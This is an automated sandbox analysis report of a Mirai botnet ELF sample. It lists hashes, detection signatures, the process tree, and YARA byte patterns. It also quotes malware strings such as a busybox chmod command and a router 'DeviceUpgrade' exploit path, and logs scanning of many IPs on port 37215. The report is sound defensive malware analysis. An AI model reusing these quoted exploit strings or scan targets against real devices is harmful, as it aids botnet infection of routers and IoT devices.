Create Interactive Tour

Linux Analysis Report
z0r0.x86.elf

Overview

General Information

Sample name:	z0r0.x86.elf
Analysis ID:	1606675
MD5:	f4246d35c0b7e481204027534215d267
SHA1:	700274da82aca0330f9c4882fe2af06941bfebf5
SHA256:	8abd1ae8949d3e5df80b50d0b7ad535cbcfa579ae464bfdd17d82de5743571bb
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Sample is packed with UPX

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1606675
Start date and time:	2025-02-04 18:16:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	z0r0.x86.elf
Detection:	MAL
Classification:	mal92.spre.troj.evad.linELF@0/0@15/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: raw.igxhost.ru

Runtime Messages

Command:	/tmp/z0r0.x86.elf
PID:	6234
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6221, Parent: 4341)

rm (PID: 6221, Parent: 4341, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jmIYw6btx9 /tmp/tmp.rdy6g57CHP /tmp/tmp.XR1g2l75FW

dash New Fork (PID: 6222, Parent: 4341)

rm (PID: 6222, Parent: 4341, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jmIYw6btx9 /tmp/tmp.rdy6g57CHP /tmp/tmp.XR1g2l75FW

z0r0.x86.elf (PID: 6234, Parent: 6155, MD5: f4246d35c0b7e481204027534215d267) Arguments: /tmp/z0r0.x86.elf

z0r0.x86.elf New Fork (PID: 6235, Parent: 6234)

z0r0.x86.elf New Fork (PID: 6236, Parent: 6235)

z0r0.x86.elf New Fork (PID: 6237, Parent: 6235)

z0r0.x86.elf New Fork (PID: 6238, Parent: 6235)

z0r0.x86.elf New Fork (PID: 6240, Parent: 6235)

z0r0.x86.elf New Fork (PID: 6241, Parent: 6235)

xfce4-panel New Fork (PID: 6244, Parent: 2063)

wrapper-2.0 (PID: 6244, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6245, Parent: 2063)

wrapper-2.0 (PID: 6245, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6246, Parent: 2063)

wrapper-2.0 (PID: 6246, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6247, Parent: 2063)

wrapper-2.0 (PID: 6247, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 6262, Parent: 6247)

xfpm-power-backlight-helper (PID: 6262, Parent: 6247, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 6248, Parent: 2063)

wrapper-2.0 (PID: 6248, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6249, Parent: 2063)

wrapper-2.0 (PID: 6249, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 6264, Parent: 6263)

xfconfd (PID: 6264, Parent: 6263, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 6272, Parent: 1860)

xfce4-notifyd (PID: 6272, Parent: 1860, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
6236.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6234.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6234.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6236.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xba52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd966:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc48d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6234.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xba22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6234.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xebe2:$x2: /bin/busybox chmod 777 * /tmp/ 0xe938:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xe8a0:$s3: POST /cdn-cgi/
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xba52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd966:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc48d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6236.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xba22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6236.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xebe2:$x2: /bin/busybox chmod 777 * /tmp/ 0xe938:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xe8a0:$s3: POST /cdn-cgi/
Process Memory Space: z0r0.x86.elf PID: 6234	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: z0r0.x86.elf PID: 6236	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 25 entries

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: z0r0.x86.elf	Virustotal: Detection: 46%			Perma Link
Source: z0r0.x86.elf	ReversingLabs: Detection: 60%

Machine Learning detection for sample

Source: z0r0.x86.elf

Joe Sandbox ML: detected

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.0.66.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.192.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.239.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.208.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.62.97.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.10.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.198.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.118.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.252.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.53.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.72.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.204.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.108.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.223.151.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.223.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.211.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.158.132.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.144.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.227.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.187.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.33.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.0.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.116.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.78.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.7.12.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.164.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.79.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.233.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.13.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.248.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.224.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.218.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.117.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.202.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.2.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.188.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.234.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.226.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.43.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.185.1.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.252.18.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.174.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.161.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.72.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.19.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.2.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.41.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.132.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.163.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.199.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.106.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.77.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.146.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.134.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.190.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.62.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.154.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.58.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.177.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.156.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.107.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.201.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.69.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.27.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.210.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.64.34.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.41.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.222.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.128.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.254.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.236.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.125.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.143.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.161.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.20.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.227.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.235.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.200.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.238.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.23.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.245.2.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.114.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.203.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.169.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.15.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.212.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.53.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.30.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.71.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.202.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.202.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.77.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.200.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.87.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.106.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.24.225.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.174.62.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.174.209.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.2.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.83.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.127.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.255.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.93.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.151.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.64.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.39.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.90.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.218.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.82.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.66.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.58.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.126.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.1.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.110.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.74.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.66.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.8.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.115.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.213.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.83.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.148.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.83.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.206.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.196.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.167.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.71.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.72.25.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.240.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.219.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.93.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.223.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.239.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.189.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.89.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.112.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.129.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.82.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.170.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.20.47.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.186.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.217.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.217.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.164.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.132.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.115.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.69.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.35.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.151.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.190.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.23.85.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.104.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.8.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.28.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.60.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.24.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.198.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.216.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.216.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.59.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.251.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.114.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.51.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.214.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.72.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.16.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.16.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.102.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.129.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.152.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.22.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.255.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.40.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.71.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.230.226.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.30.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.110.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.133.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.173.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.109.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.121.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.195.149 ports 1,2,3,5,7,37215
